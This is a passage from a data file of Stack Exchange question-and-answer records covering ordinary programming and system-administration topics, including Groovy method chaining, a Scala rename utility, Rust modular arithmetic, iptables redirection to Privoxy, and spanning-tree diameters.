probably give you the same error no matter what page you try and access." } { "id": "_softwareengineering.263644" , "question": "(I am currently using groovy but it should apply to most OO languages so I also put the langauge-agnostic tag)I try to program in a function style which also includes method chaining and avoiding variables. Therefore I often find myself writing code with the with method in groovy that every object has. It works likes this:someobject.doSomething().doEvenMore() //this results in an object that I need check for some condition, e.g. a String.with { String result -> if (result != I AM A CORRECT RESULT) throw new Exception(assertion failed) else return result //need to do this because else the closure will return null}.doAnotherThingOnTheResult()//and so on(See also https://codereview.stackexchange.com/questions/57676/better-way-to-assert-correct-return-values-in-groovy for a real life example I asked some time ago)This is rather unconcise so I was searching for a better way to check for conditions without using to have with. I came up with an idea I would like to hear your opinions to.That is, an method that all objects have and that can be used like this:someobject.doSomething().doEvenMore() //this results in an object that I need check for some condition, e.g. a String.assertTrue (new Exception(custom exception)) { it == I AM A CORRECT RESULT }.doAnotherThingOnTheResult()//and so onor for default behaviour with a default exception typesomeobject.doSomething().doEvenMore() //this results in an object that I need check for some condition, e.g. a String.assertTrue { it == I AM A CORRECT RESULT } //results in AssertionException or sth similiar.doAnotherThingOnTheResult()//and so onIn groovy I can make it that every (new) created object is decorated with such a method. What do you guys think about it? Are there better ways or should I stay with the with method?" , "title": "Method for all objects for checking conditions which also includes method chaining and avoiding variables" , "tags": "language agnostic;clean code;groovy;meta programming;method chaining" , "accepted_answer": "First, I think it is a good idea to refactor the with part into its own function. It makes IMHO the code easier to read, and it corresponds to the Single Level of Abstraction principle, which is one characteristic of clean code. Second, if it is a good idea to decorate every class of your program with this additional method, depends. I would do this only if you need this function all over your whole program, in many classes. Otherwise, I would restrict it to the classes which really use the method. This helps to avoid unintentional naming collisions." } { "id": "_codereview.101234" , "question": "I made a commandline tool for renaming files, similar to the rename command in Ubuntu. Here is the code:import scala.collection.mutable.Mapobject Main extends App { val usage = |A commandline tool for renaming files (written in Scala) | |Usage: | | screname [-a] [-t] -s search_pattern -r replace_pattern filenames | |Type screname and return to print this message. .stripMargin // Print usage and exit def printHelpExit() = { println(usage) System.exit(0) } if (args.length == 0) { printHelpExit() } val arglist = args.toList type OptionMap = Map[Symbol, Any] // Is the arg a switch? def isSwitch(s: String) = (s(0) == '-') // Function for parse args def nextOption(map: OptionMap, list: List[String]): OptionMap = { list match { // List is exhausted case Nil => map case -a :: tail => { nextOption(map ++ Map('replaceAll -> true), tail) } case -t :: tail => { nextOption(map ++ Map('testRun -> true), tail) } case -s :: searchPattern :: tail => { if (map.contains('searchPattern)) throw new IllegalArgumentException(Only one search pattern allowed.) nextOption(map ++ Map('searchPattern -> searchPattern), tail) } case -r :: replacePattern :: tail => { if (map.contains('replacePattern)) throw new IllegalArgumentException(Only one replace pattern allowed) nextOption(map ++ Map('replacePattern -> replacePattern), tail) } case filename :: tail => { map.update('files, filename :: (map.getOrElse('files, List())).asInstanceOf[List[String]]) nextOption(map, tail) } } } val options = nextOption(Map(), arglist) // Validate options if (!options.contains('searchPattern)) throw new IllegalArgumentException(No search pattern provided) if (!options.contains('replacePattern)) throw new IllegalArgumentException(No replace pattern provided) if (options.getOrElse('files, List()).asInstanceOf[List[String]].size == 0) throw new IllegalArgumentException(No filenames provided) // Rename val fileRenamer = new FileRenameByPattern(options.getOrElse('files, List()).asInstanceOf[List[String]], options.getOrElse('searchPattern, ).asInstanceOf[String], options.getOrElse('replacePattern, ).asInstanceOf[String], options.getOrElse('replaceAll, false).asInstanceOf[Boolean]) if (options.getOrElse('testRun, false).asInstanceOf[Boolean]) { fileRenamer.printFileNamePairs() } else { fileRenamer.rename(); }}import java.io.File/** * Created by IDEA on 17/08/15. */class FileRenameByPattern(val oldFileNames: List[String], val searchPattern: String, val replacePattern: String, val replaceAll: Boolean) { val newFileNames = getNewFileNames() def getNewFileNames(): List[String] = { oldFileNames map { (x: String) => if (replaceAll) x.replaceAll(searchPattern, replacePattern) else x.replaceFirst(searchPattern, replacePattern) } } def getFileNamePairs() = { oldFileNames zip newFileNames } def rename(): List[Boolean] = { rename(getFileNamePairs()) } def rename(pairs: List[(String, String)]): List[Boolean] = { pairs map { case (o, n) => new File(o) renameTo new File(n) } } def printFileNamePairs() = { val w1 = oldFileNames.map(_.length).max val w2 = newFileNames.map(_.length).max getFileNamePairs() map { case (s1, s2) => println(%%%ds %%%ds.format(w1, w2).format(s1, s2)) } }}The -t option is for a dry run. I am thinking how to make it more extendable, like adding a sequence of numbers at the beginning, appending a date at the end, etc, but any suggestions on improvement are welcome. " , "title": "A rename utility in Scala" , "tags": "strings;scala;file system" } { "id": "_webmaster.47098" , "question": "I have been hosting my site in a shared environment at http://www.example.com/MYSITE/ for a while and I've built up a following there, I have decent ranking in Google and Bing, as well as I've been using the Facebook comment plug-in to allow users to comment on specific pages like http://www.example.com/MYSITE/Items/Details/52434.I am moving to a dedicated server and the new version of the URLS listed above are http://www.example.com/ and http://www.example.com/Items/Details/52434 The site is an ASP.NET MVC site, I'd love to slam everything over, but I want anyone who goes to the old URLS to get sent to the right place. Is this something I can do with a web.config modification? I'd like to avoid a coding change if at all possible." , "title": "I am moving my site from a virtual directory to a dedicated server, can I save me SEO urls via a web.config change?" , "tags": "seo;redirects;url;301 redirect;asp.net mvc" , "accepted_answer": "Ended up doing a url rewrite. Added this to my web.config file:<system.webServer> <rewrite> <rules> <rule name=Rewrite to article.aspx> <match url=^MYSITE/(.*)/(.*) /> <action type=Redirect url=/{R:1}/{R:2}/ /> </rule> </rules> </rewrite></system.webServer>So my uris are now correctly redirected." } { "id": "_webapps.21784" , "question": "I really like this theme, and I'd like to use the Blogger platform rather than Tumblr.While Tumblr's theme are relatively easy to understand, trying to make sense of all the stuff that's going on in Blogger has proved difficult.Is there a step-by-step guide somewhere on how to convert an existing Tumblr theme to be used at Blogger?" , "title": "Converting a Tumblr theme to a Blogger template" , "tags": "tumblr;blogger;tumblr themes;blogger themes" } { "id": "_unix.48724" , "question": "I'm trying to install SLIME on Fedora 17 so that I can do some lisp.Here is what I downloaded:http://www.common-lisp.net/project/slime/#downloadingThe CVS Snapshot link.I have a .emacs file:(add-to-list 'load-path ~/programming/slime/slime-2012-09-18)(setq inferior-lisp-program /usr/local/sbcl)(require 'slime)(slime-setup)When I start emacs --debug-init, I get the following message:Debugger entered--Lisp error: (file-error Cannot open load file slime) require(slime) eval-buffer(# nil /home/sam/.emacs.el nil t) ; Reading at buffer position 159 load-with-code-conversion(/home/sam/.emacs.el /home/sam/.emacs.el t t) load(~/.emacs t t) #[0 \\205\\262What am I doing wrong ?" , "title": "Installing slime and emacs" , "tags": "fedora;emacs;debugging" } { "id": "_softwareengineering.332903" , "question": "With hierarchical state machines, and their UML state chart counterparts, all the references I've found so far suggest that an active state must be a leaf state.I've looked at Samek, and papers that implement HFSMs in C++. Most suggest any transition to a composite (read parent) state must be followed by successive initial transitions to a leaf state.Firstly, is this in the definition? Given that these 'program by difference', surely a composite state could have all we need for an actual state!?" , "title": "Must a hierarchical finite state machine only 'exist' in a leaf state?" , "tags": "design patterns;c++;uml" } { "id": "_unix.306409" , "question": "Kickstart gives two options to install the GRUB bootloader either on MBR or first sector of /boot partition.If we choose to install it on /boot partition then what would 512 bytes of MBR contain?" , "title": "Difference between installing GRUB on MBR sector or first sector on boot partition?" , "tags": "linux;debian;ubuntu;ext3" } { "id": "_unix.162663" , "question": "I typed firefox -v in my console. The output wasfirefox -v(process:5516): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failedMozilla Firefox 33.0What is that failed assertion? Something serious?" , "title": "What is the GLib-CRITICAL in Firefox?" , "tags": "firefox" } { "id": "_softwareengineering.267333" , "question": "I'm trying to make a service that's polymorphic based upon what mode is specified in the URL. If the char param in the route is set to 'p', I want to use a PresentMode service. If the char param is set to 'n', I want to use a NoteMode service. Each of these present the same interface, but I want to choose one at a time.So far the best solution I've come up with is something like this:var mod = angular.module('modeModule', []);mod.service('modeService', function($routeParams, presentMode, noteMode) { if ($routeParams.char === 'p') { this.mode = presentMode; } else if ($routeParams.char === 'n') { this.mode = noteMode; }}mod.service('presentMode', function() {});mod.service('noteMode', function() {});This works, but it requires that I append .mode to the end of every access (eg modeService.mode.blah(). Is there a better way to do this?" , "title": "How do I create a modal service with AngularJS?" , "tags": "javascript;angularjs;service" } { "id": "_cstheory.32530" , "question": "In theoretical physics, there is a branch of quantum field theory dealing with chiral gauge theories. It has been conjectured by Feynman [1] and others that all quantum field theories can be simulated in a limit computable manner efficiently on a quantum computer. However, there is the challenge of finding an efficient limit computable simulation of chiral gauge theories on a quantum computer. Does this problem lie within $\\mathsf{BQP}$? [1] Richard P. Feynman. Simulating Physics with Computers. International Journal of Theoretical Physics, Vol. 21, Nos. 6/7, 1982 " , "title": "Does simulating chiral gauge theories lie within BQP?" , "tags": "cc.complexity theory;complexity classes;quantum computing;quantum information;physics" } { "id": "_codereview.141464" , "question": "A Z^m number system includes integers in the interval [0, m) when m > 0 or (m, 0] when m < 0. The code defines a trait Mod to represent numbers in this system and the +, -, and * operator for it. use std::ops::Add;use std::ops::Mul;use std::ops::Sub;use std::ops::Rem;struct Mod<T> where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{ modulo: T, i: T,}trait Modulo<T> where T: Add<Output=T> + Rem<Output=T> + Copy + Clone{ fn modulo(self, n: T) -> T;}impl<T> Modulo<T> for T where T: Add<Output=T> + Rem<Output=T> + Copy + Clone{ fn modulo(self, n: T) -> T { ((self % n) + n) % n }}impl<T> Mod<T> where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{ fn new(modulo: T, i: T) -> Mod<T> { let n = i.modulo(modulo); Mod { modulo: modulo, i: n, } }}impl<T> Add for Mod<T> where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{ type Output = Mod<T>; fn add(self, other: Mod<T>) -> Mod<T> { Mod::new(self.modulo, self.i + other.i) }}impl<T> Sub for Mod<T> where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{ type Output = Mod<T>; fn sub(self, other: Mod<T>) -> Mod<T> { Mod::new(self.modulo, self.i - other.i) }}impl<T> Mul for Mod<T> where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{ type Output = Mod<T>; fn mul(self, other: Mod<T>) -> Mod<T> { Mod::new(self.modulo, self.i * other.i) }}fn main() { let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); println!({}, (x + y).i); let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); println!({}, (x - y).i); let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); println!({}, (x * y).i); let x = Mod::new(-5i16, 3i16); let y = Mod::new(-5i16, 8i16); println!({}, (x + y).i); let x = Mod::new(-5i16, 3i16); let y = Mod::new(-5i16, 8i16); println!({}, (x - y).i); let x = Mod::new(-5i16, 3i16); let y = Mod::new(-5i16, 8i16); println!({}, (x * y).i); let x = Mod::new(-5, 3); let y = Mod::new(-5, 8); println!({}, (x + y).i); let x = Mod::new(-5, 3); let y = Mod::new(-5, 8); println!({}, (x - y).i); let x = Mod::new(-5, 3); let y = Mod::new(-5, 8); println!({}, (x * y).i); let x = Mod::new(5u8, 3u8); let y = Mod::new(5u8, 8u8); println!({}, (x + y).i); let x = Mod::new(5u8, 3u8); let y = Mod::new(5u8, 8u8); println!({}, (x - y).i); let x = Mod::new(5u8, 3u8); let y = Mod::new(5u8, 8u8); println!({}, (x * y).i);}I tried to achieve the goals laid out in the previous version:Changed the modulo method for better performance. Generalized over a bunch of types other than i32.All suggestions are still welcome. In particular, requiring T to implement Copy and Clone might be a bit too restrictive, I would like to relax that. " , "title": "Z^m number system in Rust version 2" , "tags": "rust" , "accepted_answer": "Place multiple imports from the same module on one line.I would heartily recommend against interleaving a trait definition (Modulo) and a struct definition (Mod).I prefer to not put trait bounds on the trait definition. Those usually want to be a supertrait or just on a trait implementation.Similarly, I prefer not put trait bounds on a struct definition; just on on implementation.There's no need for the Clone bound it's never used.I'd make your new operator trait match others: Parameterize the right-hand side (Rhs) and the Output as an associated type.Then you can DRY up your duplicated trait bounds by creating a new trait that has all the other traits as a supertrait.While you are at it, remove the type parameter T because you always use it in the same fashion; it might as well be hardcoded.Place a space around = when restricting associated types in traits.There's no need for the temp var in the Mod constructor.Tests. TESTS. TESTS You are so close to already having tests! Your main function can be basically transformed into a sequence of tests. Then the computer can verify them, instead of having to read the output each time. Please give them useful names that describe what each tests, not my stupid sequential names.use std::ops::{Add, Mul, Sub, Rem};trait Modulo<Rhs = Self> { type Output; fn modulo(self, n: Rhs) -> Self::Output;}impl<T> Modulo<T> for T where T: Add<Output = T> + Rem<Output = T> + Copy{ type Output = T; fn modulo(self, n: T) -> T { ((self % n) + n) % n }}trait ZMod: Modulo<Output = Self> + Mul<Output = Self> + Sub<Output = Self> + Add<Output = Self> + Rem<Output = Self> + Copy {}impl<T> ZMod for T where T: Modulo<Output = T> + Mul<Output = T> + Sub<Output = T> + Add<Output = T> + Rem<Output = T> + Copy{}struct Mod<T> { modulo: T, i: T,}impl<T> Mod<T> where T: ZMod{ fn new(modulo: T, i: T) -> Mod<T> { Mod { modulo: modulo, i: i.modulo(modulo), } }}impl<T> Add for Mod<T> where T: ZMod{ type Output = Mod<T>; fn add(self, other: Mod<T>) -> Mod<T> { Mod::new(self.modulo, self.i + other.i) }}impl<T> Sub for Mod<T> where T: ZMod{ type Output = Mod<T>; fn sub(self, other: Mod<T>) -> Mod<T> { Mod::new(self.modulo, self.i - other.i) }}impl<T> Mul for Mod<T> where T: ZMod{ type Output = Mod<T>; fn mul(self, other: Mod<T>) -> Mod<T> { Mod::new(self.modulo, self.i * other.i) }}#[test]fn t0() { let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); assert_eq!(-4, (x + y).i);}#[test]fn t1() { let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); assert_eq!(-4, (x + y).i);}#[test]fn t2() { let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); assert_eq!(0, (x - y).i);}#[test]fn t3() { let x = Mod::new(-5i8, 3i8); let y = Mod::new(-5i8, 8i8); assert_eq!(-1, (x * y).i);}#[test]fn t4() { let x = Mod::new(-5i16, 3i16); let y = Mod::new(-5i16, 8i16); assert_eq!(-4, (x + y).i);}#[test]fn t5() { let x = Mod::new(-5i16, 3i16); let y = Mod::new(-5i16, 8i16); assert_eq!(0, (x - y).i);}#[test]fn t6() { let x = Mod::new(-5i16, 3i16); let y = Mod::new(-5i16, 8i16); assert_eq!(-1, (x * y).i);}#[test]fn t7() { let x = Mod::new(-5, 3); let y = Mod::new(-5, 8); assert_eq!(-4, (x + y).i);}#[test]fn t8() { let x = Mod::new(-5, 3); let y = Mod::new(-5, 8); assert_eq!(0, (x - y).i);}#[test]fn t9() { let x = Mod::new(-5, 3); let y = Mod::new(-5, 8); assert_eq!(-1, (x * y).i);}#[test]fn t10() { let x = Mod::new(5u8, 3u8); let y = Mod::new(5u8, 8u8); assert_eq!(1, (x + y).i);}#[test]fn t11() { let x = Mod::new(5u8, 3u8); let y = Mod::new(5u8, 8u8); assert_eq!(0, (x - y).i);}#[test]fn t12() { let x = Mod::new(5u8, 3u8); let y = Mod::new(5u8, 8u8); assert_eq!(4, (x * y).i);}" } { "id": "_webmaster.57953" , "question": "I want to use CSS display table in place of JS for vertical-alignment and equal heights of HTML elements, however I'm not sure if there are any SEO implications of this, will crawlers try and interpret the contents of elements displayed in this way as tabular data or will they ignore it and interpret it as normal content?" , "title": "CSS Display Table, any SEO implications?" , "tags": "seo;css;table" } { "id": "_unix.282400" , "question": "I'm in the middle of writing a script to automate configuring MySQL replication between two servers (Master/Master replication), and was looking for some advice on a few things related to MySQL. The goal is to basically allow the same script to be executed on both servers (probably just prompting for the IP of the other master server), and have it completely configure MySQL. Most of it is pretty easy, but a few of the configuration values are unique to the server. The servers are pretty much identical (including MySQL credentials)The /etc/my.cnf file has two settings that are unique to the server, there's a server-id and an auto-increment-offset. Does the server-id need to start at any order or be consecutive? Because if not, then I was just going to grab the numeric value from the servers hostname (it's something like appdb-stg-m01, so I could grab the 01, or whatever number, since that will be unique), or even the last octet in the servers IP address... Would that suffice?Then for the auto-increment-offset, can this not be set the same on both servers? I have it set at 1 on the first master, then 2 on the other. I got those values from some online tutorials, but they didn't explain why they were different.Then for the values used in the CHANGE MASTER TO command... It needs the MASTER_LOG_FILE and the MASTER_LOG_POS...We can assume that these servers are relatively new, with no existing databases on them. So I was thinking that just resetting the MASTER_LOG_FILE to mysql-bin.000001 would suffice, but then id need to delete the other mysql-bin.? from /var/lib/mysql, as well as from /var/lib/mysql/mysql-bin.index. Would that suffice?The only other setting that I'm somewhat hung up on would be the MASTER_LOG_POS... Is there a way to set that myself? I'm trying to make this as least complicated as possible, so connecting to the other mysql server and looking at the output of SHOW MASTER STATUS is something id like to stay away from. Is there a way instead to reset it to 313?Thanks!" , "title": "Automating Master/Master replication setup and configuration on two servers" , "tags": "centos;mysql;mariadb;replication" } { "id": "_unix.339890" , "question": "I have CentOS 7 on an OpenVZ VPS running OpenVPN, Privoxy, and CSF.When redirecting OpenVPN's web traffic to Privoxy, with my current configuration, I can't reach the internet. From my csfpre.sh:iptables -A FORWARD -s 172.27.1.0/24 -j ACCEPTiptables -A FORWARD -i as0t0 -o venet0:0 -m state --state RELATED,ESTABLISHED -j ACCEPTiptables -A FORWARD -i venet0:0 -o as0t0 -m state --state RELATED,ESTABLISHED -j ACCEPTiptables -t nat -A PREROUTING -i as0t0 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-ports 8118iptables -t nat -A POSTROUTING -s 172.27.1.0/24 -o venet0:0 -j MASQUERADEiptables -A OUTPUT -o as0t0 -j ACCEPTWhen I comment out the REDIRECT line, I can reach the internet while connected via OpenVPN.I would like to redirect OpenVPN's web traffic to Privoxy and still be able to reach the internet.Update: I removed the 443 port redirection so the REDIRECT line is now:iptables -t nat -A PREROUTING -i as0t0 -p tcp --dport 80 -j REDIRECT --to-port 8118This FIXED the issue!" , "title": "When connected via OpenVPN to my VPS, how can I redirect web traffic to Privoxy" , "tags": "openvpn;privoxy" , "accepted_answer": "To my recollection, Privoxy does not support https protocol in intercepting mode. You can definitely intercept the unencrypted traffic. Probably you would have checked out following things. Can yo confirm the same?Ensure Privoxy is working. You can comment out the REDIRECT in iptables and configure your browser to use the proxy manually. If you can browse, your Privoxy installation is working correctly.Make sure you have the following entry in Privoxy configuration file.accept-intercepted-requests 1" } { "id": "_unix.239493" , "question": "Debian has a cronjob /etc/cron.d/mdadm that starts a raid check (& resync?). It costs a lot of IO and can take up to 96 hours on 3TB disks. At this time the performance of the service will go really down.My question is: As far as I know, Linux will immediately restore the failed RAID. Is it really necessary to run this check? If so, why?" , "title": "Soft raid1 schedule resync" , "tags": "debian;cron;raid;software raid" , "accepted_answer": "No, it's not really necessary. I used to disable it on most systems.It can, however, be useful. Linux mdadm RAID will only detect errors that occur while the RAID filesystem is being read or written to. This mdadm raid check cron job, just causes the entire raid array to be read so that read errors can be detected.In a similar fashion, both btrfs and zfs have a scrub command to cause all of the data on them to be read....and reading data on those filesystems causes checksums to be verified, thus detecting any errors even on files that don't get accessed very often. zfs scrub or btrfs scrub are usually run weekly or monthly from cron." } { "id": "_datascience.2494" , "question": "I have 1-4 gram text data from wikipedia for 14 categories, which I am using for NE classification.I feed named entity from sentence to lucene indexer which searches named entity from these 14 categories. Issue I am facing is, for single entity I get multiple classes as a result with same score.like while search titanic, indexer gives this resultScore - 11.23Title - titanicCategory - BookScore - 11.23Title - titanicCategory - MovieScore - 11.23Title - titanicCategory - Productnow problem is which class to be considered?I already tried with classifiers (NB,ME in nltk,scikit learn), but as it consider each entity from dataset as feature, it works as indexer only.Why lucene?" , "title": "What is the best practice to classify category of named entity in sentence" , "tags": "machine learning;data mining;classification;nlp" } { "id": "_unix.118254" , "question": "I would like to understand if my below scenarios are possible in Heartbeat in Linux. Setup: Two Database Servers running Mysql in Active/Passive mode in replication mode having Heartbeat setup for HA or failover mechanism. Application connects to DB using VIP that is started at the time of Heartbeat.Failover VIP to passive site if primary Mysql intance is shut down.Bring down the heartbeat in primary if the role has been given to passive/secondary site inorder to avoid split brain." , "title": "Linux Heartbeat options possibilities" , "tags": "linux;mysql" } { "id": "_softwareengineering.112383" , "question": "In the book Hard Code by Eric Brechner, he states, Lying is one of a handful of valuable process canaries that can warn you of trouble.I've heard a dev or two toss around the old canary. What is it? [Google didn't answer it for me. Perhaps my keywords were a poor choice.]" , "title": "What is a Process Canary" , "tags": "terminology" , "accepted_answer": "Canaries were once used in coal mines to find out if any poisonous gasses were around (the canary would die - the miners would get out). It was much safer than an open flame.One assumes in this context that if there is much lying, the process is poisonous." } { "id": "_unix.342655" , "question": "I am currently working with HASYv2 dataset which contains the hasy-data directory with 168.233 images of size 32px x 32px. I just wanted to copy that directory with Caja, but I skipped this after about 5 minutes (and Ubuntu told me it would take another 10 minutes).Copying the files with cp -a source_dir target_dir took less than 9 seconds.However, creating a tar.bz2 archive, copying the archive, extracting the files was done within about 15 seconds (everything combined).Why is that the case?(Side questions: When I press Ctrl+C, Ctrl+V to copy files within Caja the copying process is started by Caja, right? Does it make sense to internally use a similar procedure if many files are about to be copied?)" , "title": "Why is copying many files with Caja much slower than compressing+copying+uncompressing?" , "tags": "filesystems;file copy;compression;caja" } { "id": "_cs.64791" , "question": "The diameter-constrained Minimum Spanning Tree (MST) problem is as follows: you have a undirected weighted graph $G = (V,E)$ of different weights where $V$ is the set of vertices and $E$ is the set of edges between vertices, and a constant $d$. The goal is to find an MST such that the diameter (i.e., the maximum distance of the shortest paths between vertices) of the MST is at most $d$. My question is that I am debating whether the following is true or not: Once you have an MST of a graph $G$, if the diameter of the MST is $>d$, then is it true to say that there exist no feasible solution. Also, once you have a MST of $G$, then is the diameter of that MST the maximum diameter of $G$? or minimum? or what could be said about the diameter of a MST? " , "title": "Diameter-constrained Minimum Spanning Tree Problem" , "tags": "graphs;graph theory;weighted graphs;spanning trees;minimum spanning tree" , "accepted_answer": "There is no direct relationship between the diameter of a (minimum) spanning tree and the total cost of the tree1. Consider the following example:The spanning tree on the left (whose edges are highlighted in red) is minimum. Its total cost is 7 and the diameter is equal to 5. In contrast, the spanning tree on the right is not minimum (since its total cost is 12), but it has a smaller diameter: 4.The same situation may occur when two spanning trees are minimum, as suggested by Yuval. Consider the following example (for the complete graph $K_4$):In this case, the total cost of the two Minimum Spanning Trees (MST) is 3; however, the MST on the left has a diameter that is equal to 3, while the MST on the right has a smaller diameter: 2.This counter-example disproves your assumption:It is, indeed, possible to find two different MSTs $T$ and $T'$ whose diameters are $\\gt d$ and $\\leq d$, respectively, within the same weighted undirected graph $G$.1. Note that Minimum-Diameter Spanning Trees (MDST) can be found in polynomial time, but the problem becomes NP-Hard when we also want the MDST to be minimum (i.e., when we want the total cost of the tree to be minimized)." } { "id": "_unix.299030" , "question": "I have a human written text file that contains time stamps in form of dd-mm-yyyy,HH:MM or HH:MM:SS. I have managed to extract time stamps from text file using regex but I would like to also get a line of corresponding time stamp. It would be nice to have time stamps in one file and corresponding lines in the other. There could be multiple time stamps per line so same line should occur multiple times.If this can be done, what if I want only few words or few lines around a time stamp. Idea is just to get time stamps and their context extracted.For now I have been using matlab for this, but any *nix tool will do.Edit: seems to be that not all tools will do. I'm using mac and sometimes portable git bash for windows. At least mac's grep doesn't support anymore -P options for perl regex which is apparently needed for look around (?<![0-9])Here is example of original file and desired outputs:original:L&L logfile14-5-1216-05-2012Experiment 1Device 77212-123-123123Instrument 2, 34g, 66hzNotes:Something weird happened 12:34Everything is fine 13:07Log8:00 routine 18:20 routine 28:40 routine 3, 8:45 something went south8:50 routine 4, 8:50:12 weird peak at dataoutput1:14-5-1216-05-201212:3413:078:008:208:408:458:508:50:12output2:14-5-1216-05-2012Something weird happened 12:34Everything is fine 13:078:00 routine 18:20 routine 28:40 routine 3, 8:45 something went south8:40 routine 3, 8:45 something went south8:50 routine 4, 8:50:12 weird peak at data8:50 routine 4, 8:50:12 weird peak at data" , "title": "Regex for time stamps and corresponding lines" , "tags": "text processing;regular expression" } { "id": "_unix.237036" , "question": "I did a clean Ubuntu install on a Lenovo Ideapad P500. The backlight started okay, but after pressing the keyboard light function once, it got reset to a very dark state. The brightness setting wasn't adjustable then, even after restarting the system. I found a partial fix that involved changing a setting in /etc/default/grub; specifically, I added acpi_osi=Linux acpi_backlight=vendor in the variable GRUB_CMDLINE_LINUX_DEFAULT. But this is only a partial fix because it selects a zero-brightness level at startup, and it also turns the brightness off when selecting the max level. This is an annoyance. I discovered that this behavior is independent of Ubuntu, since something similar happened when I installed OpenSUSE in dual boot; and I also found similar posts that were related to different Lenovo laptops. My question is if this has to do with the Linux kernel, and/or if I have to update the drivers? If so, how can I fix this?Let me know if I can provide more details to fix this. Thanks for helping out." , "title": "Backlight control configuration misbehaves on an Ideapad." , "tags": "linux kernel;grub;backlight" } { "id": "_unix.332448" , "question": "I recently started using Awesome WM (on Debian), so I apologize if this is a newbie question. I'm using the default awesome theme. One thing I really like is how notifications are handled for pidgin - when a new message comes in the tag label (in the upper left of the screen, on the top bar) turns red.Is there a way I could make Icedove have the same kind of notifications? I would especially like the tag label to turn red when a new unread message arrives in the inbox. Right now I set my Icedove preferences to show an alert, but this only generates a notification box in the lower right of the screen. Update: Installing the New Mail Attention add-on for Thunderbird adds the red color notifications!" , "title": "Awesome WM: Change Tag Label Color for Notifications?" , "tags": "awesome" } { "id": "_webmaster.30114" , "question": "I have a WP 3.3.2 site and i use the google analytics code.Though everything seems ok with the results i get there is an error.All visitors drop off after homepage.You can check the image here.! http://imgur.com/shyNXI change position of the GA code and from just before < / body> i moved it to just before < / head> and now i use a wordpress plugin for this work.Still nothing changes." , "title": "100% visitors drop off after home" , "tags": "google analytics;analytics" } { "id": "_cs.9221" , "question": "Just a basic question to askDoes the write through cache copies the whole block or just the byte which is updated?I went through the following questionArray A contains 256 elements of 4 bytes each. Its first element is stored at physical address 4096.Array B contains 512 elements of 4 bytes each. Its first element is stored at physical address 8192. Assume that only arrays A and B can be cached in an initially empty, physically addressed, physically tagged, direct mapped, 2K-byte cache with an 8 byte block size. The following loop is the executedfor(i=0; i<256; i++)A[i] = A[i] + B[2*i];How many bytes will be written to memory if the cache has a write-through policy?I calculated it as follows:The cache can store the whole array with 2 elements per block (block size = 8bytes, element size = 4bytes). For every write, the whole block will be copied. For $0^{th}$ element, the block containing $0^{th}$ and $1^{st}$ element would be written. The same would be done for $1^{st}$ element as well.So, for every iteration the 2 elements would be written. This makes the number of bytes as $256*2* (4bytes / element) = 2048bytes$.But in the solution, they have just calculated the number of loop iterations ($256$) multiplied by the element size ($4byte$) which makes the answer $1024bytes$.If this is true, then the cache would update only the updated byte (not the whole block). Which is correct?" , "title": "Does the write through cache copies the whole block or just the byte which is updated?" , "tags": "computer architecture;cpu cache" , "accepted_answer": "The caching strategies could be very domain specific like efficient data caching for numerical data structure, graph data structures and algorithms, bio-informatics data structure, etc.. This is a nice Ph.D thesis about it: Cache-efficient Algorithms and Data Structures: Theory and Experimental EvaluationFor your specific program I think it will cache whole block of memory not only the specific data in array. It uses a general cache strategy. See Cache algorithms on Wikipedia. " } { "id": "_scicomp.27567" , "question": "I've a read a paper about investing where they used a dynamic programming approach to solve a finite horizon problem, i.e. $$\\max_{x_t} E[u(W_T)] $$where $u$ is a utility function and $W_T$ denotes the terminal wealth. The Bellman equation can then be written as $$ V_t(W_t) = \\max_{x_t}E[V_{t+1}(W_{t+1})|W_t]$$with $V_T=u$. I have a continuous and concave utilitiy function which penalizes not hitting a certain target amount$$ u(w) = \\begin{cases} K_1 & \\text{if } w \\geq K_1 \\\\ w - c\\max{(0,(K_2-w))}^2 & \\text{if } w < K_1 \\end{cases}$$where $K_1>K_2$ are constant and $c>0$ a scaling factor. Above $K_1$, $u$ is constant, below $K_2$ you add a penalty. $c$ is a control parameter how much we should penalize $u$. For $K_1 = 12$, $K_2=10$ and $c= 100$ we get the following picture.and to see the linearity of $u$ between $K_2$ and $K_1$ another picture:Since I'm using a backward induction algorithm and discretize the space I've naively tried a uniform space grid $\\{x_i\\}$ in a fairly large interval $[w_1,w_2]$. Afterwards, I've solved for all the grid points $\\{x_i\\}$ the problem leading to solutions $y_i$. The pair $(x_i, y_i)$ was then used to approximate $V_t$. For this I've used a shape preserving method. What I've seen from experimenting with the problem that the approximation is very good far out on the left and right side, away from high curvature region. Moreover, the solution becomes quite stationary in these wing regions, too. What I then thought is to generate a non uniform grid which is denser where curvature is high. The problem is I don't know a priori the shape of $V_t$ (expect for $t=T$) so that it's hard to come up with a rule. Is there a generic way how to construct such non uniform grids? If someone has a concrete example or could point me into the right direction to do my own research, that would be really appreciated. I will potentially add another dimension to the state space so that the same question would arise in a higher dimension. That's why I put the mesh-generation tag as well" , "title": "adaptive / smart grid choice for dynamic programming" , "tags": "mesh generation;grid;dynamic programming" } { "id": "_softwareengineering.165469" , "question": "My company is building an iOS version of an Android app that our client is developing (but has not yet released). We have access to the latest builds and source, however since the software is frequently re-structured and refactored, we're doing a lot of unnecessary re-work. In addition, the due date on the contract will likely be passed before the client's application is even ready for release. In other words, we're supposed to build the iOS version before the original Android version is even complete. Luckily the client tossed out the original deadline, but now we may have to renegotiate pricing... never a fun situation.Are we handling this incorrectly? How are ports (especially between mobile platforms) normally done? Is there a correct way to pipeline development for multiple platforms without so much re-work?Thanks in advance! :)" , "title": "How to handle porting software that's still in development" , "tags": "project 